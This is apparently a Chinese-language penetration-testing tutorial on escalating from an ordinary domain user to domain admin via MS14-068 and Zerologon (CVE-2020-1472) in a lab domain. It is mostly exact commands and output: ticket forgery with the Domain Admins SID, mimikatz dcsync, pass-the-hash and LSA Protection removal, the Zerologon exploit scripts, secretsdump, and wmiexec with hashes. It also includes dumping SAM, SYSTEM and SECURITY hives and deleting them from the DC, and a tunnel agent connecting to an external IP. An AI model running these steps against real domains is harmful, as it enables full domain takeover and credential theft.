总述

本文收录了最常见和最优解的几种 域 提权 的几种手法 以及 相关的思路 和 原理讲解。

域环境提权,就是从普通域用户权限到域控管理权限。
域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域。

其实本质就是:
	域普通用户 -> 域管/域控 -> 全域机器

提权

MS14-068

	该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
	
	CVE 编号:
		CVE-2014-6324

微软官方解释:
	https://learn.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
	
	相关漏洞的基本情况描述,以及受影响的主机范围。
		Windows Server 2003
		Windows Server 2008
		Windows Server 2008 R2
		Windows Server 2012 和 Windows Server 2012 R2
		
		Windows Vista
		Windows 7
		Windows 8 和 Windows 8.1

	我们的当前环境是不支持的,已没有这个漏洞了,此处只讲相关的实现手法吧,最终确实是没有成功的。
域控系统版本是否受 MS14‑068 影响
Windows Server 2003✅ 受影响
Windows Server 2008✅ 受影响
Windows Server 2008 R2✅ 受影响
Windows Server 2012✅ 受影响
Windows Server 2012 R2❌ 不受影响(系统层面已修复)
Windows Server 2016+❌ 不受影响

原理

	服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向 域控DC 验证 PAC 的话,那么客户端可以伪造域管的权限来访问服务器。


MS14‑068(Kerberos 票据提权漏洞)不是“获取域管账号”,而是“把普通域用户伪造成域管权限”。
	你只需要 任意域用户的明文密码/NTLM 哈希,配合漏洞,就能伪造一个 域管级别的 TGT。
		不需要事先掌握域管账号。
	
	所以它的价值在于 低权限 → 高权限 的跃迁。


MS14-068.exe -u [User@Domain] -s [UserSID] -p [Password] -d [DC_IP]

-u:你要冒充的账号名(即当前你真实掌握的账号)(logonpasswords)
-s:关键点,是你要在票据里嵌入的 SID(如果只填自己的用户 SID,票据权限就只等于普通用户;如果塞进 DA 组的 SID,票据就会被 KDC 当成域管)(RID-512)(需要是 域管理员组 的 SID,而不能是 某个域管的SID)
-p:你掌握的域用户密码
-d:域控的地址

🔑 只能 "-p 明文密码" 为什么很多资料里写 “密码或 Hash”?
	是因为协议层面,Kerberos key 确实是基于 NTLM Hash。理论上如果工具支持,你就可以用 Hash 代替明文。
	但是不同的工具实现不同:
		原版 MS14‑068.exe:只支持明文 → 自己内部再 Hash。
		改进版工具 / mimikatz / Rubeus / impacket:可以直接用 NT hash 作为输入(即 “Pass‑the‑Key” 方式)。
Domain Admins 组 SID:
<DomainSID>-512
Enterprise Admins 组 SID:
<DomainSID>-519
Schema Admins 组 SID:
<DomainSID>-518


SID     S-1-5-21-1111222233334444555566667777-1105
	这里 S-1-5-21-1111...6666 就是域 SID(去掉最后的 -1105,那是 bob 的 RID)。

举例:
	如果 bob 的 SID = S-1-5-21-1111222233334444555566667777-1105
	那么域 SID = S-1-5-21-1111222233334444555566667777
	
	则:
		Domain Admins = S-1-5-21-1111222233334444555566667777-512
		Schema Admins = S-1-5-21-1111222233334444555566667777-518
		Enterprise Admins = S-1-5-21-1111222233334444555566667777-519

Pasted image 20250818170404.png

利用条件

1. 域控没有安装MS14-068的补丁KB3011780
	wmic qfe list
	systeminfo | findstr "KB"
	
2. 拥有一台域内主机权限

3. 具有普通域用户密码、Hash值以及用户SUID
	wmic useraccount
	whoami /user
	whoami /all

工具

MS14-068.exe: 
	https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Psexec:
	项目地址:
		https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools
	
	下载地址:
		https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

实操

1、漏洞检测 - 查询当前主机是否打了相关的补丁
# 一般域内的补丁都是 域控 下发相关的任务,整个域的主机相关的补丁一起打的,可以通过当前主机是否存在该补丁来推断 DC 域控主机是否打了该补丁。
wmic qfe list | findstr "KB3011780"

# 查看当前系统的详细版本(其实最好的是在 DC 上看,简单来说就是通过方法确认 DC 的操作系统版本,来确定域控是否存在 该漏洞)
systeminfo | findstr "OS Name OS Version"
2、获取域 SID
# 获取域内所有用户的 SID 等详细信息
wmic useraccount

whoami /user

logonpasswords - 会展示 域内用户 的 相关详细信息 和 SID。

本质上是要获取到 域 的 SID 值。
	SID     S-1-5-21-1180965504-3738377390-1973350559-1114
	这里 S-1-5-21-1180965504-3738377390-1973350559 就是域 SID(去掉最后的 -1114,那是 bob 的 RID)。

	Domain Admins 组 SID:
	<DomainSID>-512
	Enterprise Admins 组 SID:
	<DomainSID>-519
	Schema Admins 组 SID:
	<DomainSID>-518

举例:
	如果 bob 的 SID = S-1-5-21-1180965504-3738377390-1973350559-1114
	那么域 SID = S-1-5-21-1180965504-3738377390-1973350559
	
	则:
		Domain Admins = S-1-5-21-1180965504-3738377390-1973350559-512
		Schema Admins = S-1-5-21-1180965504-3738377390-1973350559-518
		Enterprise Admins = S-1-5-21-1180965504-3738377390-1973350559-519


查询方法:
	wmic group where name="Domain Admins" get name,sid
	wmic group where name="Enterprise Admins" get name,sid
	wmic group where name="Schema Admins" get name,sid
	
	OR
	
	使用 PowerShell
		前提:需要安装 RSAT-AD-PowerShell 模块或在域控上执行。
		
		Get-ADGroup "Domain Admins" | Select-Object Name, SID
		Get-ADGroup "Enterprise Admins" | Select-Object Name, SID
		Get-ADGroup "Schema Admins" | Select-Object Name, SID

Pasted image 20250818175247.png

Pasted image 20250818175326.png

Pasted image 20250818175917.png

3、获取域用户Hash
场景一:有域用户的权限 - beacon
	1. 利用 MS15-051 漏洞获取当前主机的 SYSTEM 权限。
	
	2. 然后再利用当前主机 SYSTEM 的权限执行 hashdump、logonpasswords 等命令,获取域用户的 NTLM_Hash、明文密码,用于接下来的 票据伪造。
		hashdunmp 是获取的本地的 SAM 文件当中的相关凭据,获取不到 域内用户的 ,所以其实就是 logonpasswords 命令去获取 lsass.exe 进程的内存当中存储的 - 本次电脑开机到现在认证过的所有账户的凭据信息。
			NTLM Hash(散列值):来自 MSV1_0 模块,用于 NTLM 认证。
			明文密码(如果开启了 Wdigest 明文存储 / 或者用户刚输入过密码)。
			Kerberos Ticket (TGT / TGS):域账户通过 Kerberos 登录后,票据也会被 LSASS 保留。
			凭据缓存(CredMan):保存某些网络连接时的缓存账号密码。
	
	3. 通过获取到的某个 域用户 的 域用户名、域用户明文密码 配合 我们得到的 域管理员组SID 来 伪造我们的凭据。

Pasted image 20250818183121.png

Pasted image 20250818183139.png

Pasted image 20250818184014.png

场景二:有的是 当前主机工作组 的权限 - beacon
	因为即使是域内的主机,不是使用的 域内的相关用户 登录的域主机的话,那么即使当前的主机是 域内主机 有 域内网卡,但是无法使用,不能与 DC 进行相关的通信,不能与 域 产生相关的任何交集。
	但是没事,我们的思路还是一样的,获取到当前 域内主机 的 本地SYSTEM 权限,然后 logonpasswords 来 读取 lsass.exe 进程的内存当中存储的相关 域用户 的凭证,用于我们后续 伪造票据。
	判断我们是不是在 域环境 当中,最简单的其实就是:
		net config workstation
	
	1. 本地提权,提权到 SYSTEM 权限。
	2. logonpasswords 获取 域内用户 的凭证。
	3. 通过我们获取的 域内用户 的相关凭证,实现内网横移,肯定需要先进入到域环境当中。因为我们需要的是 域的权限提升,接管域控、接管域。而且伪造票据需要与域控交互,域控的 krbtgt 用户服务。kerbors。
	4. 伪造票据。

Pasted image 20250818184955.png

Pasted image 20250818185016.png

Pasted image 20250818185052.png

4、伪造票据
	通过我们已知的 域内用户 的相关凭据,来伪造 域管理员 的 票据。
1. 清除当前用户票据
# 避免之前的凭据对我们后续的操作有相关的影响,避免后续认证用的是我们当前的真实票据而不是我们后续伪造出来的票据。
mimikatz kerberos::purge

Pasted image 20250818190108.png

2. 生成认证证书 - 伪造票据
MS14-068.exe -u [User@Domain] -s [UserSID] -p [Password] -d [DC_IP]

-u:你要冒充的账号名(即当前你真实掌握的账号)(logonpasswords)
-s:关键点,是你要在票据里嵌入的 SID(如果只填自己的用户 SID,票据权限就只等于普通用户;如果塞进 DA 组的 SID,票据就会被 KDC 当成域管)(RID-512)
-p:你掌握的域用户密码
-d:域控的地址


此时:
	shell MS14-068.exe -u [email protected] -s "S-1-5-21-1180965504-3738377390-1973350559-512" -p "1qaz@PASS" -d 10.10.10.10

# S-1-5-21-1180965504-3738377390-1973350559-512: 用的是 域管理员组 的 SID。

Pasted image 20250818190618.png

3. 写入认证证书
# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz kerberos::ptc [email protected]

Pasted image 20250818190747.png

5、验证域管理权限
	尝试列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功。
dir \\DC\C$

dir \\DC.QIAOSHEN.local\C$ 
	因为我们当前使用的是 Windows Server 2012 R2 来做的 域控DC 主机,因此无法成功利用。

Pasted image 20250818191028.png

  • 成功案例

Pasted image 20250818191147.png

CVE-2020-1472

介绍

CVE-2020-1472 -- Netlogon域提权:
	就是那个把 DC$ 账户密码置空的那个漏洞。
	
	2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过 NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

影响范围

影响范围:
	Windows Server 2008 R2 for x64-based Systems Service Pack 1
	Windows Server 2012
	Windows Server 2016
	Windows Server 2019
	Windows Server, version 1903 (Server Core installation)
	Windows Server, version 1909 (Server Core installation)
	Windows Server, version 2004 (Server Core installation)

工具

Zerologon 脚本利用:
	poc:
		https://github.com/SecuraBV/CVE-2020-1472
	exp:
		https://github.com/blackarrowsec/redteam-research
	exp:
		https://github.com/risksense/zerologon
	exp:
		https://github.com/SecuraBV/CVE-2020-1472
	Impacket工具包:
		https://github.com/fortra/impacket

实操一 - Zerologon脚本利用

1、获取域控主机的机器账户名
1. 域内主机名称 与 域内主机计算机账户 的 讲解
域控主机名称 = 域控这台机器的 主机名(Computer Name),例如 DC01。
DC$ = 域控在 Active Directory 里的 计算机账户(Computer Account),用于机器认证,带 $ 后缀。
两者指代对象不同:
	前者是机器的名字(你直接看到的主机名)。
	后者是这台机器在域里的身份账户。、

1. 域控主机名称 (Domain Controller Hostname):
	就是 域控制器机器本身的 Windows 主机名 (Computer Name)。
	比如你装了一个域控,机器名叫 DC01,那么它的主机名就是 DC01。
	
	如果域名是 qiaoshen.local,那么常见表示方式有:
		NetBIOS 名称:DC01
		FQDN(全称域名):dc01.qiaoshen.local


2. 域控制器计算机账户(带 $ 的 SID/账户)
	在 Active Directory 里,每台加入域的主机都会有一个对应的 计算机账户 (Computer Account)。
	这个账户名就是 主机名 + $,例如:
		主机名:DC01
		计算机账户:DC01$
	
	这个账户会在 AD 里有自己的 SID、密码(机器密码,系统自动定期更换),用于机器和域之间的安全通信。

3. “DC”和“DC$”的区别
	DC(不带 $):指的是域控的 主机名,也就是你平时 ping 的名字,或者远程桌面时用到的机器名字。
	DC$(带 $):指的是 AD 里这个域控的 计算机账户。
		在安全事件日志、Kerberos 票据或域用户列表里经常能看到。
		它在 AD 数据库中就像一个普通用户,只是代表的是一台机器而不是人。

4. 举个例子帮助理解
	域名:qiaoshen.local
	域控主机名:DC01
	域控完整域名(FQDN):dc01.qiaoshen.local
	域控在 AD 里的计算机账户:DC01$
	这个 DC01$ 账户也会对应一个 SID,比如 S-1-5-21-xxxx-MachineRID。
1. ZeroLogon (CVE-2020-1472) 的利用对象
	ZeroLogon 漏洞属于 Netlogon 安全通道认证漏洞,目标就是 域控制器的计算机账户,也就是 DC$。

	每台域成员机(包括域控)在域里都有一个机器账户(Computer Account)。
	域控自己的机器账户也是存在 AD 里的,例如:
		主机名:DC
		计算机账户:DC$
	这个账号在 AD 里存放着对应的 机器密码(Machine Account Password),默认每 30 天自动更换,用于机器与域控之间的安全信道认证。
	ZeroLogon 的核心:利用 Netlogon 协议缺陷去重置 域控计算机账户(DC$)的密码,将它清空,从而达到完全接管域的效果。


2. 那么我们需要的是什么?
	需要知道域控主机的计算机账户,比如 DC$ 或 DC01$。
		知道 域内主机的主机名也可以,因为域内主机的计算机账户就是 主机名 + $,也就是 DC$。


3. 举例说明
	环境如下:
		域名:qiaoshen.local
		域控 FQDN:DC.qiaoshen.local
		域控主机名:DC
		域控计算机账户:DC$
	
		那么:
			需要知道的输入参数是主机名(DC),
			工具在执行时实际上会去操作 AD 里的 DC$ 账户。


✅ 总结
DC = 域控主机名 (Computer Name)
DC$ = 域控计算机账户 (Computer Account in AD)
	CVE-2020-1472 (ZeroLogon) 的攻击目标其实是 DC$ 账户,但我们在操作时一般只要知道 域控主机名 就行,可以通过 "域内主机名$" 的形式映射得到域内主机的计算机账户。
	eg:
		PC$
		WEB$
		DC$
	
	改名后是遵循的是改名后的 “主机名$” - 来映射成为 AD 数据库当中的 主机机器账户。
		加入域 = 在 AD 中生成一个 计算机账户 = 主机名$。
		改名后 AD 中的计算机账户也会随之改成 新主机名$。
		Windows 会自动保持这种映射关系,否则域信任会断裂。
2. 命令
# 通过获得 登录域内账户的主机的 Beacon 会话执行对应命令
net group "domain controllers" /domain

Pasted image 20250818192838.png

# 通过这些方式得到 域控主机 的 主机名,然后根据 域内机器主机 和 域内主机计算机账户名 映射关系 - 简介得到 域控主机计算机账户名(域控主机名 + $ = 域控主机计算机账户名)(DC + $ = DC$)

# 所以接下来的手法就与 定位域控 是相同的操作了:
# 1. 查看局域网中(AD 域 隔离后的 域中)的其他主机
net view

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818201220.png

# 2.时间服务器 查询 域控主机名
net time /domain

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195009.png

# 3. 通过获取 DNS 服务器名 - 获得域控主机名 
1) ipconfig
	ipconfig /displaydns

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195400.png

2)nslookup
	nslookup -qt=ns qiaoshen.local

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195644.png

# 4. netdom 快速查找当前域里的 PDC Emulator 域控制器 - 获得域控主机名 
netdom query pdc

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250809144223.png

# 5. nltest 列出域内所有 域控制器 - 获得域控主机名 
nltest /DCLIST:qiaoshen.local

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250809144550.png

# 6. SPN 查询 - 获得域控主机名 
setspn -q */*

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818200702.png

2、获取域控主机的 IP
1. Ping DC
通过第二步的方式 Ping 域控的主机名 即可。

Pasted image 20250818210606.png

2. DNS 解析
# 1)ipconfig
	ipconfig /all
	ipconfig /displaydns

Pasted image 20250809132450.png

Pasted image 20250809132723.png

# 2)net config workstation
net config workstation

Pasted image 20250809133050.png

# 3)nslookup
nslookup -qt=ns qiaoshen.local

Pasted image 20250809144022.png

3、检测是否存在漏洞
检测漏洞而不利用 - PoC
项目地址:
	https://github.com/SecuraBV/CVE-2020-1472
2. 检测
0)分析
两种方法嘛:
	1. 隧道代理 - py脚本 流量转发。
	2. 上传 PoC 至目标服务器,执行检测。
1. socks 代理:
	CS:
		socks 4080 socks5 disableNoAuth qiaoshen qiaoshensocks5 disableLogging
	
	stowaway:
		服务端(Server):
			admin.exe -l 9999 -s qiaoshen
		
		客户端(Client):
			agent.exe -c 120.55.169.128:9999 -s qiaoshen
1)隧道 - 流量转发
python 脚本:
	pip install -r requirements.txt
	
	./zerologon_tester.py EXAMPLE-DC 1.2.3.4

EXAMPLE-DC: 域控主机名
1.2.3.4: 域控 IP

实际:
	chmod 777 zerologon_tester.py
	proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10

CS 的 socks 代理龟速,stowaway 高性能隧道代理非常快。
	哪怕是高性能的 stowaway 代理的流量进行转发,也会很慢,因为要转发几次流量,而且每次执行脚本的时长都不定。可以看下图
CS
	socks 4080 socks5 disableNoAuth qiaoshen qiaoshensocks5 disableLogging
proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10

Pasted image 20250818202946.png

Pasted image 20250818203344.png

Pasted image 20250818204225.png

stowaway
	服务端(Server):
		admin.exe -l 9999 -s qiaoshen
	
	客户端(Client):
		agent.exe -c 120.55.169.128:9999 -s qiaoshen

use 0
socks 4081 qiaoshen qiaoshensocks5
proxychains4 -q python3 zerologon_tester.py DC 10.10.10.10

Pasted image 20250818203610.png

Pasted image 20250818203711.png

Pasted image 20250818204655.png

Pasted image 20250818212530.png

2)上传PoC - beacon 执行 Exp
	代理的方法可以看上图,哪怕是高性能的 stowaway 代理的流量进行转发,也会很慢,因为要转发几次流量,而且每次执行脚本的时长都不定。
	但是这样上传上去一般会秒出结果,但是可能需要做免杀。
# 上传文件 - beacon 界面执行

zerologon_tester.exe DC 10.10.10.10

Pasted image 20250818205514.png

Pasted image 20250818205902.png

Pasted image 20250818205928.png

Pasted image 20250818205949.png

4、利用漏洞重置域账号
0)分析
一样的分为两种情况咯:
	1. Socks 隧道 转发流量
	2. 上传 Exp 直接利用
在重置前我们可以先看看 DC$ 域控主机计算机账户 的 密码是怎么样的,以便我们后续与 漏洞利用 后的情况进行对比。
	mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"

	OR

	mimikatz
	privilege::debug
	lsadump::dcsync /domain:mingy.local /all /csv

可以发现我们此时 DC$ 账户的 NTLM_Hash 为:
	0e9c***....***f7c

Pasted image 20250818211851.png

Pasted image 20250818212015.png

1)隧道 - 流量转发
此处我们就用 stowaway 了,CS 的隧道是在太慢。
cd /root/QiaoShen/CVE-2020-1472
proxychains4 -q python CVE-2020-1472.py DC DC$ 10.10.10.10

DC:指定 域控主机名。
DC$:指定 域控主机计算机账户名 - 密码置空的账户。
10.10.10.10:DC 主机的 IP。

Pasted image 20250818211225.png

Pasted image 20250818212853.png

ok,执行 Exp 成功了,此时我们再去看看 DC$ 域控主机计算机账户的 密码。

mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"

不难发现,我们的 DC$ 用户的 NTLM_Hash 的值发生了变化:
	EXP 利用前:
		0e9c***....***f7c
	EXP 利用后:
		31d6cfe0d16ae931b73c59d7e0c089c0

Pasted image 20250818213321.png

Pasted image 20250818213502.png

2)上传Exp - beacon 执行 Exp
CVE-2020-1472.exe DC DC$ 10.10.10.10

Pasted image 20250818204640.png

Pasted image 20250818204928.png

Pasted image 20250818204955.png

Pasted image 20250818224613.png

Pasted image 20250818224652.png

Pasted image 20250818213502.png

5、获取域控用户Hash
环境大问题在此 - impacket
依然两种方式:
	1. 代理
	2. 上传
1)代理
通过代理使用 impacket-secretsdump:
	proxychains4 -q secretsdump.py 'qiaoshen.local/[email protected]' -no-pass

	OR

	# 源码利用	
	cd /root/QiaoShen/impacket/examples
	proxychains4 -q python secretsdump.py 'qiaoshen.local/[email protected]' -no-pass

项目地址:
	https://github.com/fortra/impacket

安装方法:
	# 安装依赖环境
	sudo apt update
	sudo apt install -y python3 python3-pip python3-venv git
	
	# 下载 Impacket 源码
	git clone https://github.com/fortra/impacket.git
	cd impacket
	
	# 安装 Impacket
	pip3 install .
		
		OR
		
		pip3 install -r requirements.txt
		python3 setup.py install
		
		OR
		
		pip3 install -e .
	
	# 验证安装
	impacket-wmiexec -h

🔹 5. 常见问题
		命令找不到?
			确认 ~/.local/bin 已经在 PATH 里(pip3 默认安装路径):
				echo $PATH
				export PATH=$PATH:~/.local/bin
				
			ls /usr/local/bin | grep exec
			ls /usr/local/bin | grep dump
			
			在 Impacket 0.12.0 里,你应该能看到:
				wmiexec.py
				psexec.py
				smbexec.py
				atexec.py
				secretsdump.py
				...
			
			wmiexec.py -h
			secretsdump.py -h
		
		权限问题?
			可以尝试用虚拟环境安装:
				python3 -m venv impacket-env
				source impacket-env/bin/activate
				pip install .

如果报错就使用 mimikatz 的 lsadump::zerologon 功能
可以发现:
	域管的 NTLM_Hash 密码:
		579**...**6ee

Pasted image 20250818214335.png

2)上传
secretsdump.exe qiaoshen.local/[email protected] -no-pass

Pasted image 20250818214554.png

Pasted image 20250818214841.png

6、使用Hash横向移动连接域控
proxychains4 -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579**...**6ee qiaoshen/[email protected]
乱码解决方法:
	你可以在 wmiexec 的 shell 下先执行:
		chcp.com

	通常会显示:
		活动代码页: 936
		
		这意味着 Windows 的输出是 GBK/936。

此时你就可以在 wmiexec.py 加上:
	wmiexec.py -codec gbk user@target

Pasted image 20250818221036.png

可以发现,此时就可以正常显示了

Pasted image 20250818221259.png

7、恢复域 - 获取Hash
1. 获取 SAM 数据库:

	# 保存
	reg save HKLM\SYSTEM SYSTEM
	reg save HKLM\SAM SAM
	reg save HKLM\SECURITY SECURITY

	# 下载文件
	lget SYSTEM
	lget SAM
	lget SECURITY

	# 删除(删除 域控 上的文件)
	del /f SYSTEM
	del /f SAM
	del /f SECURITY

Pasted image 20250818222100.png

Pasted image 20250818222116.png

Pasted image 20250818222149.png

2. 解密 SAM 数据库
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

Pasted image 20250818222652.png

  • 获得机器用户的NTLM_Hash:

    0e9c...f7c

8、恢复域 - 还原Hash
依旧两种方式:
	1. 代理
	2. 上传
1)代理
proxychains4 -q python reinstall_original_pw.py 域控主机名 域控IP NTLM_Hash

此处:
	proxychains4 -q python reinstall_original_pw.py DC 10.10.10.10 0e9c***....***f7c

项目地址:
	https://github.com/risksense/zerologon

Pasted image 20250818223322.png

查看是否恢复成功:
	mimikatz "privilege::debug" "log 1.txt" "lsadump::dcsync /domain:qiaoshen.local /all /csv" "exit"
没问题,恢复成功了,重新变为了:
	0e9c***....***f7c

Pasted image 20250818223712.png

2)上传
reinstall_original_pw.exe 域控主机名 域控IP NTLM_Hash

reinstall_original_pw.exe DC 10.10.10.10 0e9c***....***f7c

Pasted image 20250818223921.png

Pasted image 20250818224722.png

Pasted image 20250818225059.png

实操二 - Mimikatz利用漏洞

1、获取域控主机的机器账户名
1. 域内主机名称 与 域内主机计算机账户 的 讲解
域控主机名称 = 域控这台机器的 主机名(Computer Name),例如 DC01。
DC$ = 域控在 Active Directory 里的 计算机账户(Computer Account),用于机器认证,带 $ 后缀。
两者指代对象不同:
	前者是机器的名字(你直接看到的主机名)。
	后者是这台机器在域里的身份账户。、

1. 域控主机名称 (Domain Controller Hostname):
	就是 域控制器机器本身的 Windows 主机名 (Computer Name)。
	比如你装了一个域控,机器名叫 DC01,那么它的主机名就是 DC01。
	
	如果域名是 qiaoshen.local,那么常见表示方式有:
		NetBIOS 名称:DC01
		FQDN(全称域名):dc01.qiaoshen.local


2. 域控制器计算机账户(带 $ 的 SID/账户)
	在 Active Directory 里,每台加入域的主机都会有一个对应的 计算机账户 (Computer Account)。
	这个账户名就是 主机名 + $,例如:
		主机名:DC01
		计算机账户:DC01$
	
	这个账户会在 AD 里有自己的 SID、密码(机器密码,系统自动定期更换),用于机器和域之间的安全通信。

3. “DC”和“DC$”的区别
	DC(不带 $):指的是域控的 主机名,也就是你平时 ping 的名字,或者远程桌面时用到的机器名字。
	DC$(带 $):指的是 AD 里这个域控的 计算机账户。
		在安全事件日志、Kerberos 票据或域用户列表里经常能看到。
		它在 AD 数据库中就像一个普通用户,只是代表的是一台机器而不是人。

4. 举个例子帮助理解
	域名:qiaoshen.local
	域控主机名:DC01
	域控完整域名(FQDN):dc01.qiaoshen.local
	域控在 AD 里的计算机账户:DC01$
	这个 DC01$ 账户也会对应一个 SID,比如 S-1-5-21-xxxx-MachineRID。
1. ZeroLogon (CVE-2020-1472) 的利用对象
	ZeroLogon 漏洞属于 Netlogon 安全通道认证漏洞,目标就是 域控制器的计算机账户,也就是 DC$。

	每台域成员机(包括域控)在域里都有一个机器账户(Computer Account)。
	域控自己的机器账户也是存在 AD 里的,例如:
		主机名:DC
		计算机账户:DC$
	这个账号在 AD 里存放着对应的 机器密码(Machine Account Password),默认每 30 天自动更换,用于机器与域控之间的安全信道认证。
	ZeroLogon 的核心:利用 Netlogon 协议缺陷去重置 域控计算机账户(DC$)的密码,将它清空,从而达到完全接管域的效果。


2. 那么我们需要的是什么?
	需要知道域控主机的计算机账户,比如 DC$ 或 DC01$。
		知道 域内主机的主机名也可以,因为域内主机的计算机账户就是 主机名 + $,也就是 DC$。


3. 举例说明
	环境如下:
		域名:qiaoshen.local
		域控 FQDN:DC.qiaoshen.local
		域控主机名:DC
		域控计算机账户:DC$
	
		那么:
			需要知道的输入参数是主机名(DC),
			工具在执行时实际上会去操作 AD 里的 DC$ 账户。


✅ 总结
DC = 域控主机名 (Computer Name)
DC$ = 域控计算机账户 (Computer Account in AD)
	CVE-2020-1472 (ZeroLogon) 的攻击目标其实是 DC$ 账户,但我们在操作时一般只要知道 域控主机名 就行,可以通过 "域内主机名$" 的形式映射得到域内主机的计算机账户。
	eg:
		PC$
		WEB$
		DC$
	
	改名后是遵循的是改名后的 “主机名$” - 来映射成为 AD 数据库当中的 主机机器账户。
		加入域 = 在 AD 中生成一个 计算机账户 = 主机名$。
		改名后 AD 中的计算机账户也会随之改成 新主机名$。
		Windows 会自动保持这种映射关系,否则域信任会断裂。
2. 命令
# 通过获得 登录域内账户的主机的 Beacon 会话执行对应命令
net group "domain controllers" /domain

Pasted image 20250818192838.png

# 通过这些方式得到 域控主机 的 主机名,然后根据 域内机器主机 和 域内主机计算机账户名 映射关系 - 简介得到 域控主机计算机账户名(域控主机名 + $ = 域控主机计算机账户名)(DC + $ = DC$)

# 所以接下来的手法就与 定位域控 是相同的操作了:
# 1. 查看局域网中(AD 域 隔离后的 域中)的其他主机
net view

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818201220.png

# 2.时间服务器 查询 域控主机名
net time /domain

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195009.png

# 3. 通过获取 DNS 服务器名 - 获得域控主机名 
1) ipconfig
	ipconfig /displaydns

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195400.png

2)nslookup
	nslookup -qt=ns qiaoshen.local

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818195644.png

# 4. netdom 快速查找当前域里的 PDC Emulator 域控制器 - 获得域控主机名 
netdom query pdc

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250809144223.png

# 5. nltest 列出域内所有 域控制器 - 获得域控主机名 
nltest /DCLIST:qiaoshen.local

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250809144550.png

# 6. SPN 查询 - 获得域控主机名 
setspn -q */*

域控主机名 + $ = 域控主机计算机账户名
	DC + $ = DC$

Pasted image 20250818200702.png

2、获取域控主机的 IP
1. Ping DC
通过第二步的方式 Ping 域控的主机名 即可。

Pasted image 20250818210606.png

2. DNS 解析
# 1)ipconfig
	ipconfig /all
	ipconfig /displaydns

Pasted image 20250809132450.png

Pasted image 20250809132723.png

# 2)net config workstation
net config workstation

Pasted image 20250809133050.png

# 3)nslookup
nslookup -qt=ns qiaoshen.local

Pasted image 20250809144022.png

3、检测是否存在漏洞
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$

Pasted image 20250818225448.png

4、利用漏洞重置域账号
# 利用漏洞重置域账号密码为空
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit

Pasted image 20250818225558.png

5、获取域控用户Hash
mimikatz lsadump::dcsync /domain:qiaoshen.local /dc:DC /user:administrator /authuser:DC$ /authdomain:qiaoshen /authpassword:"" /authntlm

/domain:qiaoshen.local: 指定 域名
/dc:DC: 指定 域控主机名
/authdomain:qiaoshen: 修改为自己的域名(前缀)
/user:administrator: 指定域管账户名
/authuser:DC$: 指定认证的账号,此时我们把 DC$ 域控主机计算机账户 的密码置空了,当然用 DC$ 来认证。
/authdomain:qiaoshen: 认证的域
/authpassword:"": 认证的密码,此处我们置空了。
/authntlm: 认证 NTLM_Hash

Pasted image 20250818230111.png

  • 域管NTLM_Hash:

    579...6ee

6、得到域管权限 - 域 横向移动
1. 获得 SeDebugPrivilege 权限
# 
mimikatz privilege::debug

注意:因为当前beacon用户权限为域内普通用户 MINGY\bob,需要有管理员或者SYSTEM权限才能获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的beacon中执行本步骤操作,这里我们通过ms15-051得到SYSTEM权限的beacon。

Pasted image 20250818230534.png

Pasted image 20250818230747.png

2. 进行Hash注入
# 利用 域管理员Hash 得到 域管权限,执行如下命令后会打开一个具有域管理员权限的 cmd.exe 进程。
mimikatz sekurlsa::pth /user:administrator /domain:qiaoshen /rc4:579**...**6ee

/user:administrator: 指定域管理员
/domain:qiaoshen: 指定 域 简写
/rc4:579**...**6ee: 指定域管理员的 NTLM_Hash

Pasted image 20250818231057.png

注意:
	Win10环境下需要绕过LSA Protection,该功能需要 mimidrv.sys 文件
	使用mimikatz绕过LSA Protection的命令为:
		privilege::debug
		!+
		!processprotect /process:lsass.exe /remove
3. Token窃取得到域管权限
通过窃取具有域管权限的cmd.exe进程Token,得到域管权限:
steal_token 1896

Pasted image 20250818231312.png

Pasted image 20250818231450.png

Pasted image 20250818231703.png

7、恢复域 - 获取Hash
0. 内网横移,内网横移后获取 Hash。
proxychains4 -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579**...**6ee qiaoshen/[email protected]
1. 获取 SAM 数据库:
	# 保存
	reg save HKLM\SYSTEM SYSTEM
	reg save HKLM\SAM SAM
	reg save HKLM\SECURITY SECURITY

	# 下载文件
	lget SYSTEM
	lget SAM
	lget SECURITY

	# 删除(删除 域控 上的文件)
	del /f SYSTEM
